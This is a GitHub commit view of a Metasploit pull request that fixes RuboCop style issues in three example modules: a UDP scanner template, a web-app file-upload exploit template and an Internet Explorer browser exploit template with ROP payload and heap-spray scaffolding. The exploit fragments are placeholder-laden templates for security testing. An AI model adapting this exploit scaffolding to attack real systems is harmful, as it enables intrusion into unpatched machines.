Skip to content

Commit 5f6c6f8

Browse files
authored
Merge pull request rapid7#20057 from bcoles/rubocop-modules-examples
modules: examples: Resolve RuboCop violations
2 parents 11fd032 + 0e74591 commit 5f6c6f8

File tree

3 files changed

+73
-56
lines changed

3 files changed

+73
-56
lines changed

modules/auxiliary/scanner/udp/example.rb

Lines changed: 24 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -12,20 +12,26 @@ def initialize(info = {})
1212
update_info(
1313
info,
1414
# TODO: fill in all of this
15-
'Name' => 'UDP Scanner Example',
16-
'Description' => %q(
15+
'Name' => 'UDP Scanner Example',
16+
'Description' => %q{
1717
This module is an example of how to send probes to UDP services
1818
en-masse, analyze any responses, and then report on any discovered
1919
hosts, services, vulnerabilities or otherwise noteworthy things.
2020
Simply address any of the TODOs.
21-
),
22-
'Author' => 'Joe Contributor <joe_contributor[at]example.com>',
21+
},
22+
'Author' => 'Joe Contributor <joe_contributor[at]example.com>',
2323
'DisclosureDate' => '2014-03-15',
24-
'License' => MSF_LICENSE,
25-
'References' => [
24+
'License' => MSF_LICENSE,
25+
'References' => [
2626
[ 'CVE', '0000-0000' ], # remove or update if CVE exists
2727
[ 'URL', 'https://SomeURLinCyberspace.local' ]
28-
]
28+
],
29+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
30+
'Notes' => {
31+
'Stability' => [],
32+
'Reliability' => [],
33+
'SideEffects' => []
34+
}
2935
)
3036
)
3137

@@ -44,27 +50,35 @@ def initialize(info = {})
4450
)
4551
end
4652

53+
# rubocop:disable Lint/UselessMethodDefinition
4754
def setup
4855
super
4956
# TODO: do any sort of preliminary sanity checking, like perhaps validating some options
5057
# in the datastore, etc.
5158
end
59+
# rubocop:enable Lint/UselessMethodDefinition
5260

5361
# TODO: construct the appropriate probe here.
62+
# rubocop:disable Naming/MemoizedInstanceVariableName
5463
def build_probe
5564
@probe ||= 'abracadabra!'
5665
end
66+
# rubocop:enable Naming/MemoizedInstanceVariableName
5767

58-
# TODO: this is called before the scan block for each batch of hosts. Do any
59-
# per-batch setup here, otherwise remove it.
68+
# TODO: this is called before the scan block for each batch of hosts.
69+
# Do any per-batch setup here, otherwise remove it.
6070
def scanner_prescan(batch)
71+
print_status("Sending requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
72+
6173
super
6274
end
6375

6476
# TODO: this is called for each IP in the batch. This will send all of the
6577
# necessary probes. If something different must be done for each IP, do it
6678
# here, otherwise remove it.
6779
def scan_host(ip)
80+
vprint_status("#{ip}:#{rport} - Sending probe")
81+
6882
super
6983
end
7084

@@ -77,6 +91,7 @@ def scanner_process(response, src_host, _src_port)
7791
# not actually be the same as the original RPORT for some services if they
7892
# respond back from different ports
7993
return unless response.size >= 42
94+
8095
@results[src_host] ||= []
8196

8297
# TODO: store something about this response, perhaps the response itself,

modules/exploits/example_webapp.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -171,17 +171,17 @@ def exploit
171171
data = Rex::MIME::Message.new
172172
# https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
173173
file_contents = payload.encoded
174-
data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
175-
data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
174+
data.add_part(file_contents, 'application/octet-stream', 'binary', 'form-data; name="file"; filename="uploaded.bin"')
175+
data.add_part('example', nil, nil, 'form-data; name="_wpnonce"')
176176

177177
post_data = data.to_s
178178

179-
res = send_request_cgi(
180-
'method' => 'POST',
181-
'uri' => normalize_uri(target_uri.path, 'async-upload.php'),
182-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
183-
'data' => post_data,
184-
'cookie' => cookie
179+
send_request_cgi(
180+
'method' => 'POST',
181+
'uri' => normalize_uri(target_uri.path, 'async-upload.php'),
182+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
183+
'data' => post_data,
184+
'cookie' => cookie
185185
)
186186
rescue ::Rex::ConnectionError
187187
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")

modules/exploits/windows/browser/example.rb

Lines changed: 41 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -20,49 +20,52 @@ class MetasploitModule < Msf::Exploit::Remote
2020
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
2121
# :method => "SetShapeNodeType",
2222
autopwn_info(
23-
ua_name: HttpClients::IE,
24-
ua_minver: "8.0",
25-
ua_maxver: "10.0",
23+
ua_name: HttpClients::IE,
24+
ua_minver: '8.0',
25+
ua_maxver: '10.0',
2626
javascript: true,
27-
os_name: OperatingSystems::Match::WINDOWS,
28-
rank: NormalRanking
27+
os_name: OperatingSystems::Match::WINDOWS,
28+
rank: NormalRanking
2929
)
3030

3131
def initialize(info = {})
3232
super(
3333
update_info(
3434
info,
35-
'Name' => "Module Name",
36-
'Description' => %q(
35+
'Name' => 'Module Name',
36+
'Description' => %q{
3737
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
3838
the browser version. Please note IE8 and newer may emulate an older IE version
3939
in compatibility mode, in that case the module won't be able to detect the
4040
browser correctly.
41-
),
42-
'License' => MSF_LICENSE,
43-
'Author' => [ 'sinn3r' ],
44-
'References' =>
45-
[
46-
[ 'URL', 'https://metasploit.com' ]
47-
],
48-
'Platform' => 'win',
49-
'Targets' =>
50-
[
51-
[ 'Automatic', {} ],
52-
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
53-
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
54-
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
55-
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
56-
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
57-
],
58-
'Payload' =>
59-
{
60-
'BadChars' => "\x00", # js_property_spray
61-
'StackAdjustment' => -3500
62-
},
63-
'Privileged' => false,
41+
},
42+
'License' => MSF_LICENSE,
43+
'Author' => [ 'sinn3r' ],
44+
'References' => [
45+
[ 'URL', 'https://metasploit.com' ]
46+
],
47+
'Platform' => 'win',
48+
'Targets' => [
49+
[ 'Automatic', {} ],
50+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
51+
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
52+
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
53+
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
54+
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
55+
],
56+
'Payload' => {
57+
'BadChars' => "\x00", # js_property_spray
58+
'StackAdjustment' => -3500
59+
},
60+
'Privileged' => false,
6461
'DisclosureDate' => '2013-04-01',
65-
'DefaultTarget' => 0
62+
'DefaultTarget' => 0,
63+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
64+
'Notes' => {
65+
'Stability' => [],
66+
'Reliability' => [],
67+
'SideEffects' => []
68+
}
6669
)
6770
)
6871
end
@@ -97,25 +100,24 @@ def get_target(agent)
97100
nil
98101
end
99102

100-
def get_payload(t)
103+
def get_payload(tgt)
101104
stack_pivot = "\x41\x42\x43\x44"
102-
code = payload.encoded
105+
code = payload.encoded
103106

104-
case t['Rop']
107+
case tgt['Rop']
105108
when :msvcrt
106-
print_status("Using msvcrt ROP")
109+
print_status('Using msvcrt ROP')
107110
rop_payload = generate_rop_payload('msvcrt', code, 'pivot' => stack_pivot, 'target' => 'xp')
108-
109111
else
110-
print_status("Using JRE ROP")
112+
print_status('Using JRE ROP')
111113
rop_payload = generate_rop_payload('java', code, 'pivot' => stack_pivot)
112114
end
113115

114116
rop_payload
115117
end
116118

117-
def get_html(t)
118-
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
119+
def get_html(tgt)
120+
js_p = ::Rex::Text.to_unescape(get_payload(tgt), ::Rex::Arch.endian(tgt.arch))
119121
html = %|
120122
<script>
121123
#{js_property_spray}

0 commit comments

Comments
 (0)